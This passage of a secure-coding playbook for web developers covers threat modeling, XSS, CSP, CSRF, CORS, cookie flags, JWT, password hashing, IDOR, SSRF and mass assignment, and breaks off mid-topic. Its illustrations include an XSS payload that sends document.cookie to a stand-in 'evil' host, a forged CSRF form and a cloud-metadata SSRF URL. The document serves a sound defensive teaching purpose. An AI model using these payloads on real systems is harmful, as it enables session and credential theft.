01Think like an attacker — threat modeling & trust boundaries★ start here▶
Scenario: you hide the "Delete user" button unless isAdmin. Ship it. An attacker opens dev-tools, sees the API call, and runs curl -X DELETE /api/users/42 directly — no button needed. Every control you left in the browser was never a control at all.
What
Threat modeling is asking, before you build: what could go wrong, who benefits, and where is my trust boundary — the line where data crosses from something you control to something you don't.
Why
The browser, the network, and the client are the attacker's territory. Anything enforced only there is decoration. Security lives on the server, past the boundary.
How
Draw the data flow, mark every boundary crossing, and ask STRIDE at each: could it be Spoofed, Tampered, Repudiated, Info-leaked, DoS'd, Elevated?
ATTACKER'S TURF │ YOUR TURF (enforce here)
─────────────────────────── │ ─────────────────────────
browser · JS · cookies · UI │ server · API · database
devtools · curl · Burp · proxy │
│
[ hidden button ] ──── request ───►│──►[ authz check ] ──► db
UI only trust │ REAL control
boundary │
everything left of the line can be forged, replayed, or skipped// ❌ the browser is on the attacker's side — this is UI, not security
if (user.isAdmin) showDeleteButton() // attacker just skips the button:
// curl -X DELETE https://api.example.com/users/42 ← no button required
// ✅ enforce PAST the trust boundary, on every request, server-side
app.delete('/api/users/:id', requireAuth, (req, res) => {
if (!req.user.isAdmin) return res.status(403).end() // the real control
return deleteUser(req.params.id)
})✅ Do
- Draw the data flow and mark every trust boundary before coding
- Treat all client input as hostile — validate and authorize on the server
- Ask "who benefits if this breaks?" for each feature
❌ Don't
- Rely on hidden fields, disabled buttons, or client-side
ifchecks for security - Assume attackers use your UI — they use
curl, Burp, and scripts
02Defense in depth & the CIA triad▶
Scenario: you put all your faith in one Web Application Firewall. It has a bad rule day, one request slips through, and because nothing behind it expected trouble, that single miss reaches the database unfiltered. One layer failed and there was no second.
What
Defense in depth = layered controls so no single failure is fatal. The CIA triad names what you're protecting: Confidentiality, Integrity, Availability.
Why
Every control eventually fails — a bypassed WAF, a missed patch, a leaked key. Layers turn one failure into a near-miss instead of a breach.
How
Stack independent controls: TLS + authn + authz + validation + parameterized queries + least-priv DB + logging. Each assumes the one in front may have failed.
request
│
▼ TLS ───────── someone still MITMs? next layer catches it
▼ authn ─────── token forged? authz still checks role
▼ authz ─────── role wrong? input validation still runs
▼ validation ── payload slips? parameterized query blocks SQLi
▼ least-priv db even then, the db user can't DROP or read other rows
▼
no single failure reaches the crown jewels alone// Confidentiality — only the right people can READ it // fails as: data breach, leaked PII, exposed secrets // Integrity — data can't be changed by the wrong people / undetected // fails as: tampered orders, forged tokens, poisoned records // Availability — the system stays up for legitimate users // fails as: DDoS, ransomware, a runaway query taking prod down // most real controls map to one or more: // encryption -> Confidentiality // signatures -> Integrity // rate limits -> Availability
✅ Do
- Assume each layer will fail and put an independent one behind it
- Classify features by which of C, I, A they protect — it clarifies the control
- Keep layers independent (a shared flaw defeats them all at once)
❌ Don't
- Lean on a single WAF/firewall as "the security"
- Forget Availability — an app that's down is also a failed system
03Least privilege & shrinking the blast radius▶
Scenario: a leaked API key turns out to be the root account with *:* permissions. What should have been "attacker can read one bucket" becomes "attacker owns the whole cloud account." The damage wasn't the leak — it was the permissions attached to it.
What
Least privilege: every user, service, token, and DB account gets the minimum access to do its job — nothing more, and only for as long as needed.
Why
Breaches are inevitable; the question is blast radius. Scoped credentials turn a full compromise into a contained one.
How
Deny by default, grant narrow roles, scope tokens to one action, expire them fast, and separate duties so no one identity can do everything.
LEAKED KEY = root (*:*) LEAKED KEY = scoped
┌──────────────────────┐ ┌──────────────────────┐
│ read ALL buckets │ │ read ONE bucket, RO │
│ delete databases │ │ (no write, no delete) │
│ create admin users │ │ expires in 15 min │
│ spin up crypto miners │ │ ip-locked to your vpc │
└──────────────────────┘ └──────────────────────┘
company-ending file a rotation ticket// ❌ over-privileged: "just give it admin so it works"
{ "Effect": "Allow", "Action": "*", "Resource": "*" }
// ✅ least privilege: one action, one resource, with a condition
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::reports-bucket/daily/*",
"Condition": { "IpAddress": { "aws:SourceIp": "10.0.0.0/16" } }
}
// the app can read daily reports from one bucket, from our VPC — nothing else✅ Do
- Start from deny-all and add the narrowest grants that make it work
- Scope tokens to one action/resource and give them short lifetimes
- Separate duties — the deploy key can't also read customer data
❌ Don't
- Grant
*"to unblock the demo" — temporary becomes permanent - Share one all-powerful service account across every app
root.04Authentication vs authorization — the two questions★ core idea▶
Scenario: you nail login — passwords hashed, MFA, sessions. Then a logged-in user changes the id in /api/invoices/1041 to 1042 and reads someone else's invoice. You proved who they are and forgot to check what they're allowed to see.
What
Authentication (authn) answers "who are you?" Authorization (authz) answers "are you allowed to do this?" Two separate questions, two separate checks.
Why
Confusing them is the #1 web vuln class (broken access control). Being logged in is not permission to touch a specific resource.
How
Authn once (verify identity → issue a session/token). Authz on every request, per resource: does this user own or have a role for that object?
request ──► [ AUTHN ] who are you?
│ (password/MFA/token → identity)
▼
[ AUTHZ ] are you allowed to touch THIS?
│ (role? own the row? RBAC/ABAC)
▼
resource
passing authn ≠ passing authz. Check ownership on the OBJECT,
every time — "logged in" is not "permitted."app.get('/api/invoices/:id', requireAuth, async (req, res) => {
const inv = await db.invoice(req.params.id)
// ❌ authn only — any logged-in user reads ANY invoice (IDOR, topic 15)
// return res.json(inv)
// ✅ authz — does THIS user own THAT invoice?
if (inv.ownerId !== req.user.id && !req.user.isAdmin)
return res.status(404).end() // 404 not 403 — don't confirm it exists
return res.json(inv)
})✅ Do
- Authenticate once; authorize on every request against the specific object
- Check ownership/role server-side using the session identity, not a client-supplied user id
- Return 404 (not 403) for objects the user may not even know exist
❌ Don't
- Assume "has a valid session" means "may access this record"
- Trust a
userIdorrolesent from the client
req.body.userId or a ?role=admin query param to decide access, the attacker simply sets it themselves. Derive "who" from the signed token; derive "allowed" from the database — never from user input.05The OWASP Top 10 — your map of what goes wrong▶
Scenario: your lead asks "are we secure?" and you don't know where to start. The OWASP Top 10 is the industry's shared answer: the ten categories of web risk that cause the most real breaches — a checklist to aim your effort at what actually gets exploited.
What
A community-maintained, periodically-updated ranking of the ten most critical web application risk categories, from broken access control to SSRF.
Why
It focuses limited time on the vulnerabilities that actually cause breaches, gives teams a shared vocabulary, and anchors the rest of this playbook.
How
Use it as a review checklist and a threat-modeling prompt: for each category, ask "how would this hit us, and what's our control?"
A01 Broken Access Control ........ topics 4, 15, 25 A02 Cryptographic Failures ....... topics 24, 27 A03 Injection (XSS, SQLi, …) ..... topics 6, 16, 22 A04 Insecure Design .............. topics 1, 2, 3 A05 Security Misconfiguration .... topics 9, 20, 23 A06 Vulnerable Components ........ topics 12, 28 A07 Auth & Identity Failures ..... topics 13, 14, 19 A08 Software/Data Integrity ...... topics 12, 21 A09 Logging & Monitoring Failures topics 29, 30 A10 Server-Side Request Forgery .. topic 17
# a lightweight PR/security review prompt, one line per category $ cat security-checklist.md - [ ] A01 access control: authz checked on every object, server-side? - [ ] A02 crypto: TLS everywhere? secrets not in git? modern algorithms? - [ ] A03 injection: parameterized queries + output encoding? - [ ] A05 config: security headers, CORS, no default creds, no debug in prod? - [ ] A06 components: dependencies scanned, no known CVEs shipped? - [ ] A07 auth: hashing, MFA, rate limiting, session expiry? - [ ] A09 logging: security events logged, alertable, no secrets in logs?
✅ Do
- Turn the Top 10 into a repeatable review checklist for every release
- Prioritize A01 (access control) and A03 (injection) — they cause the most damage
- Re-check against the latest edition; the list evolves as attacks do
❌ Don't
- Treat it as exhaustive — it's the common risks, not every risk
- Tick it once and forget; new code reopens old categories
06XSS — when your page runs the attacker's code★ critical▶
Scenario: your comment box shows what users type. Someone posts <img src=x onerror="fetch('//evil/'+document.cookie)">. You render it as HTML, so every visitor's browser runs the attacker's script and ships their session cookie to evil. Their code, running on your origin, with your users' trust.
What
Cross-Site Scripting: attacker-supplied text is rendered as executable HTML/JS in another user's browser. Stored, reflected, or DOM-based.
Why
Their script runs as your site — it can steal cookies, keystrokes, and tokens, rewrite the page, and act as the victim. It's OWASP A03 (Injection).
How
Never build HTML from untrusted strings. Encode on output for the context (HTML, attribute, JS, URL), let your framework auto-escape, and add a strong CSP (topic 7).
attacker ──post comment──► your DB stores: <script>steal()</script>
│
victim opens page ──────────────►│ server sends it back INSIDE the HTML
▼
victim's browser: "this is a <script>, I'll RUN it" ──► cookies → attacker
the browser can't tell YOUR script from the ATTACKER'S — same origin, same trust// ❌ builds live HTML from user input — classic XSS sink
el.innerHTML = comment.body
// payload: <img src=x onerror="fetch('//evil/'+document.cookie)">
// → runs in every viewer's browser, as your origin
// ✅ treat it as data; the browser shows the tags, never runs them
el.textContent = comment.body
// frameworks auto-escape {comment.body} — the danger is the escape hatch:
// React dangerouslySetInnerHTML · Vue v-html · Angular [innerHTML]
// only ever feed those OUTPUT of a sanitizer (DOMPurify), never raw input
el.innerHTML = DOMPurify.sanitize(comment.body)✅ Do
- Let the framework auto-escape; use
textContentoverinnerHTML - Encode for the exact context (HTML body, attribute, URL, JS)
- Sanitize with a vetted library (DOMPurify) if you truly must render HTML, and layer a CSP
❌ Don't
- Concatenate user input into
innerHTML,document.write, or inline event handlers - Trust a blocklist of "bad tags" — encoders and allowlists beat blocklists
element.innerHTML = location.hash takes attacker-controlled URL text straight into a sink, entirely in the browser. Server-side templating won't catch it. Audit client-side sinks (innerHTML, eval, setAttribute on href/src) fed by sources (location, postMessage, referrer).07Content Security Policy — a second net under XSS▶
Scenario: despite your best encoding, one XSS bug slips through in a rarely-visited template. With a strong Content Security Policy, the injected <script> simply refuses to run — the browser blocks it because it isn't on your allowlist. The bug is still a bug, but it's no longer a breach.
What
A response header that tells the browser exactly which sources of script, style, images, and connections are allowed to load and run on your page.
Why
It's defense in depth for XSS: even if a payload lands, an inline/unknown script is refused. It also blocks data exfiltration to unknown hosts.
How
Ship Content-Security-Policy with a strict script-src — ideally per-request nonces — and no 'unsafe-inline'. Start in report-only mode.
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'
page tries to run…
<script src="/app.js"> ✓ same origin → allowed
<script nonce="r4nd0m">… ✓ matches nonce → allowed
<script>injected_xss()</script> ✗ no nonce → BLOCKED
<img onerror=steal()> ✗ inline handler→ BLOCKED
fetch('https://evil.com') … ✗ not in connect-src → BLOCKED# 1) observe first — log violations without breaking anything
$ curl -I https://app.example.com | grep -i content-security
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp
# 2) then enforce: allow self + a per-request nonce, ban inline & objects
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-{RANDOM_PER_REQUEST}';
style-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
# no 'unsafe-inline', no 'unsafe-eval' — those hand the allowlist back to attackers✅ Do
- Roll out with
Content-Security-Policy-Report-Onlyfirst, watch reports, then enforce - Prefer per-request nonces (or hashes) over host allowlists
- Set
object-src 'none'andbase-uri 'self'— cheap, high-value
❌ Don't
- Add
'unsafe-inline'/'unsafe-eval'— it silently defeats the whole policy - Treat CSP as a replacement for output encoding — it's the backstop, not the fix
'unsafe-inline' in script-src — often added to make an analytics snippet work — reopens the exact hole CSP was closing, because injected inline scripts are now allowed again. Overly broad host allowlists (script-src * or a CDN that hosts anyone's JS) do the same. A CSP with one careless directive is theater.08CSRF — riding the user's logged-in session▶
Scenario: your bank app changes the email on POST /account/email and trusts the session cookie. An attacker emails the victim a page that auto-submits a hidden form to your endpoint. The victim's browser attaches their cookie automatically, the email is changed, and account takeover follows — the victim never clicked anything obvious.
What
Cross-Site Request Forgery: a malicious site makes the victim's browser send a state-changing request to your app, riding their existing cookie session.
Why
Browsers attach cookies to requests automatically, cross-site. If a cookie alone authorizes an action, any site can trigger that action as the victim.
How
Require proof the request came from your page: SameSite cookies + an anti-CSRF token the attacker can't read. Never mutate state on GET.
victim logged into bank.com (cookie stored in browser)
│
visits evil.com, which contains:
<form action="https://bank.com/account/email" method="POST">
<input name="email" value="attacker@evil.com"> (auto-submits)
│
▼ browser sends POST to bank.com ── and ATTACHES the bank cookie
bank.com: "valid session!" → changes email → account taken over
fix: SameSite cookie won't ride cross-site + token evil.com can't read// ✅ 1) cookie won't be sent on cross-site POSTs
res.cookie('sid', id, { httpOnly: true, secure: true, sameSite: 'lax' })
// ✅ 2) synchronizer token — server plants it, verifies it per request
// attacker's page CAN'T read your token (same-origin policy), so can't forge it
app.post('/account/email', requireAuth, (req, res) => {
if (req.body.csrf !== req.session.csrfToken) return res.status(403).end()
updateEmail(req.user.id, req.body.email)
})
// ❌ never do state changes on GET — links, images, prefetch all trigger them
// app.get('/account/delete', ...) ← a single <img src> nukes the account✅ Do
- Set
SameSite=Lax(orStrict) on session cookies - Require an unpredictable anti-CSRF token on every state-changing request
- Keep all mutations on POST/PUT/DELETE, never GET
❌ Don't
- Authorize actions on the cookie alone
- Assume SameSite fully covers it — older browsers and some flows leak; keep the token
Authorization: Bearer headers (not cookies) are largely CSRF-immune, because the browser doesn't auto-attach headers — but the moment you also accept the token from a cookie "for convenience," CSRF is back. Pick one transport. And CORS is not a CSRF defense: the forged request still reaches your server; CORS only hides the response.09CORS — who is allowed to read your responses▶
Scenario: your frontend on app.example.com calls your API on api.example.com and the browser blocks it: "No 'Access-Control-Allow-Origin' header." You're tempted to reflect any origin and allow credentials to make the error vanish — which quietly turns every website into a trusted reader of your users' data.
What
Cross-Origin Resource Sharing: browser rules that decide whether JS on one origin may read the response from another origin's API.
Why
By default the same-origin policy blocks cross-origin reads (protecting your data). CORS is how you selectively relax that — and it's easy to relax too far.
How
Return Access-Control-Allow-Origin with an explicit allowlist of trusted origins. Only add Allow-Credentials: true for those exact origins — never with *.
app.example.com ──fetch──► api.example.com
│ │ responds with:
│ │ Access-Control-Allow-Origin: https://app.example.com
▼ │ Access-Control-Allow-Credentials: true
browser: origin matches allowlist → JS may READ the response ✓
❌ DANGER: Allow-Origin: * + Allow-Credentials: true (spec forbids, libs fake it)
or reflecting ANY Origin → evil.com reads your users' authenticated dataconst ALLOW = new Set(['https://app.example.com', 'https://admin.example.com'])
app.use((req, res, next) => {
const origin = req.headers.origin
if (ALLOW.has(origin)) { // ✅ exact match, never reflect blindly
res.set('Access-Control-Allow-Origin', origin)
res.set('Access-Control-Allow-Credentials', 'true')
res.set('Vary', 'Origin') // don't cache one origin's ACAO for all
}
next()
})
// ❌ res.set('Access-Control-Allow-Origin', req.headers.origin) // reflects ANYONE
// ❌ '*' together with credentials — the browser rejects it, so libs "helpfully" reflect✅ Do
- Allowlist exact origins; add
Vary: Originwhen you echo one back - Enable credentials only for the specific trusted origins that need them
- Keep the allowlist in config, reviewed like any other access grant
❌ Don't
- Reflect
req.headers.originunconditionally, or use*with credentials - Think CORS protects your server — it only governs what browsers let JS read
curl or a server-side attacker do anything new — they were never bound by it. Conversely, a strict CORS policy is not a substitute for authn/authz: the request still hits your server and runs unless you check permissions. CORS decides who can read the reply, not who can make the call.10Secure cookies — HttpOnly, Secure, SameSite▶
Scenario: your session cookie has no flags. One XSS bug lets document.cookie read it and email it to an attacker — instant account takeover. One misconfigured link sends it over plain HTTP and a coffee-shop sniffer grabs it. Three small flags would have stopped both.
What
Four attributes that harden a cookie: HttpOnly (JS can't read it), Secure (HTTPS only), SameSite (limits cross-site sending), plus a sane scope/expiry.
Why
The session cookie is the user's identity. Unprotected, it's stealable by XSS, network sniffing, or CSRF — each flag closes one avenue.
How
Set all of them on session cookies, scope narrowly (path, domain), keep lifetimes short, and consider the __Host- prefix.
Set-Cookie: sid=…; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
HttpOnly ─► document.cookie can't read it → XSS can't steal the session
Secure ─► only sent over HTTPS → no sniffing on plain HTTP
SameSite ─► not sent on cross-site requests → blunts CSRF (topic 8)
Max-Age ─► expires → shrinks the theft window
__Host- ─► locks to host, path=/, secure → subdomain can't set/overrideMax-Age means it stops working soon. Long-lived sessions are keys that never expire — a stolen one works forever.// ✅ hardened session cookie
res.cookie('__Host-sid', sessionId, {
httpOnly: true, // JS (and XSS) cannot read it
secure: true, // HTTPS only — never sent in the clear
sameSite: 'lax', // not attached to cross-site requests (CSRF defense)
path: '/', // required for the __Host- prefix
maxAge: 3600_000 // short-lived; refresh on activity
})
// ❌ res.cookie('sid', id) // readable by JS, sent over HTTP, rides cross-site✅ Do
- Set
HttpOnly; Secure; SameSiteon every session/auth cookie - Use the
__Host-prefix and short lifetimes; rotate the session id on login - Scope
path/domainas narrowly as the app allows
❌ Don't
- Store session tokens in
localStorage— JS (and XSS) reads it trivially - Set
Domain=.example.comunless every subdomain is fully trusted
localStorage has no HttpOnly equivalent, so any script on the page can read the token. An HttpOnly cookie survives XSS reads; a localStorage token does not. Choose cookies-with-flags unless you have a specific reason not to.11Clickjacking — invisible frames stealing clicks▶
Scenario: an attacker loads your "Transfer funds" page in an invisible <iframe>, lays it over a game that says "Click to win!", and lines up the hidden button under the visible one. The victim clicks the game; the click lands on your confirm button. They authorized a transfer without ever seeing your page.
What
Clickjacking: your real page is framed transparently over decoy content, so the victim's clicks are hijacked onto your buttons ("UI redress").
Why
The victim is genuinely logged in, so the framed action is fully authorized — the attacker just borrows their clicks on sensitive controls.
How
Tell browsers your page may not be framed by others: frame-ancestors in CSP (modern) and the legacy X-Frame-Options header.
what the victim SEES what is REALLY there (opacity: 0) ┌──────────────────────┐ ┌──────────────────────┐ │ 🎁 Click to win! │ │ your bank.com page │ │ │ │ [ Confirm transfer ] │ ← aligned under │ [ CLICK ] │ │ │ the decoy └──────────────────────┘ └──────────────────────┘ click on "CLICK" ───────────► actually hits "Confirm transfer" defense: frame-ancestors 'none' → browser refuses to frame your page
# modern, flexible — part of your CSP Content-Security-Policy: frame-ancestors 'none'; # or allow only yourself: frame-ancestors 'self'; # or a specific partner: frame-ancestors https://partner.example.com; # legacy header for old browsers — keep both for coverage X-Frame-Options: DENY # (SAMEORIGIN if you legitimately frame your own pages)
✅ Do
- Send
frame-ancestors 'none'(or'self') on sensitive pages - Keep
X-Frame-Optionstoo, for older browsers - Require a fresh confirmation/re-auth for high-value actions
❌ Don't
- Rely on flimsy JS "frame-busting" — it's bypassable with sandboxed frames
- Leave money-moving or permission-changing pages framable
X-Frame-Options can't express "allow these two partners" and is ignored when set via <meta> (header only). frame-ancestors supersedes it and is the real control — but if a proxy or framework strips your security headers, you're exposed and won't notice. Verify the headers on the live response with curl -I, not just in your config.12Frontend supply chain — npm, CDNs & SRI▶
Scenario: you load an analytics script from a third-party CDN with <script src="https://cdn.other.com/a.js">. That CDN gets compromised (or a maintainer pushes a malicious update). Overnight, attacker code runs on every page of your site, in your users' browsers, with full access — you shipped a backdoor you never wrote.
What
Your app runs code you didn't write: npm dependencies and remote CDN scripts. A compromise of any of them is a compromise of your page.
Why
Modern frontends pull in hundreds of transitive packages. One malicious update or hijacked CDN executes with your origin's full trust (OWASP A06/A08).
How
Pin versions with a lockfile, scan dependencies, minimize third-party scripts, and add Subresource Integrity so a tampered file simply won't load.
your app ──imports──► left-pad@1.0 ──imports──► tiny-dep@2 (compromised)
│ │
└── ships to browser ────────────────────────────────┘
malicious code now runs as YOUR origin
defenses:
lockfile ─► exact versions, no surprise upgrades
SRI ─► <script integrity="sha384-…"> → browser rejects if bytes changed
scanning ─► npm audit / Dependabot flags known-bad versions (topic 28)// ✅ Subresource Integrity — browser runs it ONLY if the hash matches // <script src="https://cdn.example.com/lib.js" // integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" // crossorigin="anonymous"></script> // pin exact versions — a lockfile stops silent malicious upgrades // package.json: "lib": "1.4.2" (not "^1.4.2") + commit package-lock.json
$ npm ci # install EXACTLY the lockfile — reproducible, no drift $ npm audit --production # flag dependencies with known vulnerabilities $ npm audit signatures # verify packages are signed by the registry
✅ Do
- Commit a lockfile and install with
npm ci; pin third-party scripts - Add SRI hashes to any script loaded from a CDN
- Scan dependencies in CI and self-host critical assets where practical
❌ Don't
- Load
<script>from an unpinned third-party URL with no integrity check - Auto-merge dependency bumps without review, or ignore
npm auditfor months
13Authentication — sessions vs JWT▶
Scenario: a user changes their password, but their stolen JWT still works for another hour because you built stateless auth and "can't" revoke tokens. Meanwhile another team stores JWTs in localStorage and one XSS empties every account. Two auth models, two very different failure modes.
What
Two ways to remember a logged-in user: a server session (an id in a cookie, state in your store) or a JWT (a signed, self-contained token the server can verify without lookup).
Why
The trade-off is revocation vs scale. Sessions revoke instantly but need a store; JWTs scale statelessly but are hard to invalidate before expiry.
How
Default to sessions in an HttpOnly cookie. If you use JWTs, keep them short-lived with refresh tokens, and verify the algorithm server-side.
SESSION (stateful) JWT (stateless)
cookie: sid=abc ──► store header.payload.signature ──► verify sig
│ look up abc │ math only, no lookup
▼ ▼
revoke = delete row (instant) revoke = ??? valid until it EXPIRES
scale = shared session store scale = nothing to share (nice)
pick sessions unless you truly need stateless; then keep TTL tiny + refresh// ❌ long-lived, unrevocable, and algorithm not pinned
jwt.verify(token, secret) // accepts whatever alg the token claims
// ✅ verify with an EXPLICIT algorithm and short lifetime + refresh flow
const access = jwt.sign({ sub: user.id }, KEY, { algorithm: 'RS256', expiresIn: '10m' })
jwt.verify(token, PUBLIC_KEY, { algorithms: ['RS256'] }) // reject 'none' & alg-swap
// keep a server-side denylist / token version to force logout on password change✅ Do
- Prefer server sessions in
HttpOnlycookies for typical web apps - Keep JWTs short-lived; use refresh tokens and a revocation/version check
- Pin the signing algorithm on verify; rotate signing keys
❌ Don't
- Store long-lived JWTs in
localStorage - Trust the token's own
algheader — that enables the "alg: none" and RS→HS swap attacks
alg field lets an attacker set alg: none (no signature) or swap RS256→HS256 and sign with your public key as the HMAC secret. Always pass an explicit allowlist of algorithms to verify, and never accept unsigned tokens.14Password storage — hashing done right▶
Scenario: your users table leaks. If passwords are plaintext or MD5, every account — and every account those people reused the password on — is compromised in minutes via rainbow tables. If they're bcrypt/argon2 with per-user salts, the attacker faces years of brute force per password. The hash choice is the outcome.
What
Store passwords as a slow, salted one-way hash (bcrypt, scrypt, or argon2id) — never plaintext, never fast hashes like MD5/SHA-1/SHA-256.
Why
Databases leak. A slow hash makes each guess expensive; a per-user salt defeats rainbow tables and stops one crack from cracking all.
How
Use a purpose-built password hasher with a tuned work factor. Verify in constant time. Re-hash on login when you raise the cost.
PLAINTEXT / MD5(password) bcrypt(password, salt, cost=12) ┌───────────────────────┐ ┌────────────────────────────────┐ │ leak → instant reveal │ │ leak → each guess costs ~250ms │ │ rainbow tables: seconds│ │ per-user salt: no shared tables │ │ same pw = same hash │ │ same pw = different hash │ └───────────────────────┘ └────────────────────────────────┘ billions of guesses/sec vs a few thousand/sec — that gap is the defense
import argon2 from 'argon2'
// ✅ register — argon2id with sane memory/time cost; salt is handled for you
const hash = await argon2.hash(password, { type: argon2.argon2id })
// → $argon2id$v=19$m=65536,t=3,p=4$<salt>$<hash> (salt embedded)
// ✅ login — constant-time compare, no early-exit timing leak
const ok = await argon2.verify(userRow.passwordHash, password)
// ❌ NEVER: db.save({ password }) // plaintext
// ❌ NEVER: sha256(password) / md5(password) // fast + unsalted
// ❌ NEVER: if (hash === computed) // timing side-channel✅ Do
- Use argon2id or bcrypt with a tuned work factor and per-user salt
- Verify in constant time; re-hash on login when you raise the cost
- Add a pepper (a secret stored outside the DB) for extra depth
❌ Don't
- Use MD5, SHA-1/256, or any fast hash for passwords; never store plaintext
- Roll your own hashing, reuse one salt, or compare with
===
15Broken access control — IDOR & BOLA★ #1 risk▶
Scenario: GET /api/orders/1041 returns the logged-in user's order. They change it to 1042 and read a stranger's order — name, address, items. You authenticated them but never checked they own object 1042. This one bug class — IDOR/BOLA — tops the OWASP list and leaks more data than any exotic exploit.
What
Insecure Direct Object Reference / Broken Object-Level Authorization: the API returns an object based on an id the user supplies, without checking they're allowed that object.
Why
It's trivial to exploit (increment a number) and catastrophic (mass data exposure). It's OWASP A01 — the most common serious web flaw.
How
On every object access, check ownership/role server-side using the session identity — scope the query to the user, don't filter after fetching.
user A logged in ──► GET /api/orders/1042 (not theirs)
│
❌ SELECT * FROM orders WHERE id = 1042 → returns B's order
✅ SELECT * FROM orders WHERE id = 1042
AND owner_id = :sessionUser → returns nothing
the id comes from the URL (attacker-controlled); the owner check
must come from the SIGNED SESSION, never from the request.// ❌ IDOR — fetches by client id, ownership never checked
app.get('/api/orders/:id', requireAuth, async (req, res) => {
const order = await db.order(req.params.id) // any id works
res.json(order)
})
// ✅ bind the object to the session user IN THE QUERY
app.get('/api/orders/:id', requireAuth, async (req, res) => {
const order = await db.query(
'SELECT * FROM orders WHERE id = $1 AND owner_id = $2',
[req.params.id, req.user.id]) // owner from SESSION, not URL
if (!order) return res.status(404).end() // 404: don't reveal existence
res.json(order)
})✅ Do
- Add the ownership/role condition to the database query itself
- Derive the user from the session/token; never trust a client-supplied owner id
- Test every endpoint as "another user" — automate IDOR checks in CI
❌ Don't
- Assume sequential/guessable ids are "hidden" — UUIDs help but aren't authorization
- Authorize only on the "list" endpoint and forget the "detail"/"update"/"delete" ones
GET /orders/:id and forget PATCH /orders/:id, DELETE, or a nested /orders/:id/items/:itemId. Function-level checks (can this role hit this route) miss object-level ones (does this user own this row). You need both, on every endpoint — which is why it's the hardest vuln to fully kill.16Input validation & output encoding▶
Scenario: a field expects a 5-digit zip. An attacker sends a 40KB string, or SQL, or a ../../etc/passwd path, or a negative quantity that credits their account. Because you accepted whatever arrived and used it raw, one field becomes the doorway for injection, overflow, and logic abuse.
What
Two complementary habits: validate input (accept only what fits an allowlist/shape) and encode output (escape data for wherever it's about to be used).
Why
Most injection (XSS, SQLi, command, path) starts as untrusted input used unsafely. Validation shrinks the attack surface; encoding neutralizes what slips through.
How
Validate on the server against a strict schema (type, length, range, allowlist). Encode at the point of use for the specific context.
untrusted input
│
▼ VALIDATE (allowlist) — type? length? range? enum? shape?
│ reject early, at the boundary, on the SERVER
▼ use it…
├─ into HTML → HTML-encode (XSS, topic 6)
├─ into SQL → parameterize (SQLi, topic 22)
├─ into a shell→ don't; use APIs / arg arrays
└─ into a path → resolve + confine to a base dir (no ../ escape)
"reject bad input" AND "encode for the destination" — you need bothimport { z } from 'zod'
// ✅ allowlist shape — reject anything that doesn't fit, before use
const Order = z.object({
zip: z.string().regex(/^\d{5}$/),
quantity: z.number().int().positive().max(100), // no negatives, no overflow
note: z.string().max(500)
})
const data = Order.parse(req.body) // throws on bad input → 400
// ✅ then ENCODE for the destination (never reuse the same escaping everywhere)
res.send(`<p>${htmlEncode(data.note)}</p>`) // HTML context
db.query('INSERT INTO orders(zip) VALUES ($1)', [data.zip]) // SQL: parameterize✅ Do
- Validate with an allowlist schema (type, length, range, enum) server-side
- Encode/escape at the exact point of use, matched to the context
- Normalize first (Unicode, path) so
../and homoglyph tricks can't sneak through
❌ Don't
- Rely on blocklists of "bad characters" — allowlists beat them
- Trust client-side validation, or reuse one escaping for every context
O'Brien into SQL — the apostrophe is legal input but dangerous in the wrong context; only parameterization makes it safe. Encoding alone can't stop a 40KB payload or a negative price. You need the allowlist and the context-correct output handling — dropping either reopens a whole vuln class.17SSRF — making your server fetch evil★ critical▶
Scenario: your app fetches a user-supplied image URL to make a thumbnail. An attacker submits http://169.254.169.254/latest/meta-data/iam/security-credentials/. Your server — trusted inside the network — dutifully fetches the cloud metadata endpoint and hands the attacker your IAM credentials. The request came from inside the house.
What
Server-Side Request Forgery: the attacker makes your server send HTTP requests to targets they choose — internal services, cloud metadata, localhost admin panels.
Why
Your server sits inside the trust perimeter. It can reach internal-only endpoints a remote attacker can't — so they borrow it. It's OWASP A10.
How
Allowlist destinations, block private/link-local IP ranges (after DNS resolution), disable redirects, and don't return raw fetch responses to the user.
attacker ──"fetch this url"──► YOUR SERVER ──► 169.254.169.254 (cloud metadata)
│ └─► IAM keys ──► back to attacker
├──► http://localhost:9200 (internal Elastic)
└──► http://10.0.0.5/admin (internal panel)
the internet can't reach those IPs — but your server can.
defense: resolve DNS → reject private/link-local ranges → no redirectsimport dns from 'node:dns/promises'
import ipaddr from 'ipaddr.js'
async function safeFetch(userUrl) {
const url = new URL(userUrl)
if (!['http:', 'https:'].includes(url.protocol)) throw new Error('scheme')
if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error('host not allowed')
// resolve DNS and REJECT private / link-local (defeats DNS-rebinding + metadata)
const { address } = await dns.lookup(url.hostname)
const range = ipaddr.parse(address).range()
if (['private','loopback','linkLocal','uniqueLocal'].includes(range))
throw new Error('blocked internal address')
return fetch(url, { redirect: 'error', signal: AbortSignal.timeout(3000) })
}
// ❌ fetch(req.body.url) // hands your server to the attacker✅ Do
- Allowlist destination hosts and schemes; resolve DNS and block private/link-local IPs
- Disable redirect-following; set tight timeouts; require IMDSv2 in the cloud
- Put outbound fetchers on an egress-restricted network segment
❌ Don't
- Fetch a raw user URL, or return the fetched body verbatim to the user
- Blocklist only
169.254.169.254— attackers use redirects, DNS rebinding, and IPv6
127.0.0.1 a moment later when you actually fetch. You must check the resolved IP at connection time, block redirects (a public URL can 302 to an internal one), and remember IPv6 and octal/decimal IP encodings all reach localhost too.18Mass assignment — over-posting hidden fields▶
Scenario: your signup handler does db.users.create(req.body). A user POSTs the normal form plus "role": "admin" and "isVerified": true. Your ORM happily binds them, and the attacker just made themselves an admin. You never exposed those fields in the UI — but the API bound whatever arrived.
What
Mass assignment (over-posting): binding a whole request body straight onto a model, so the client can set fields you never meant to expose.
Why
ORMs make "save the whole object" one line — and that one line trusts the client to only send safe fields. They don't.
How
Allowlist the exact fields a caller may set. Bind only those; ignore everything else. Never assign privileged fields from user input.
form fields: { name, email, password }
attacker POST: { name, email, password, role:"admin", isVerified:true,
balance: 999999 }
│
❌ User.create(req.body) → binds role, isVerified, balance too
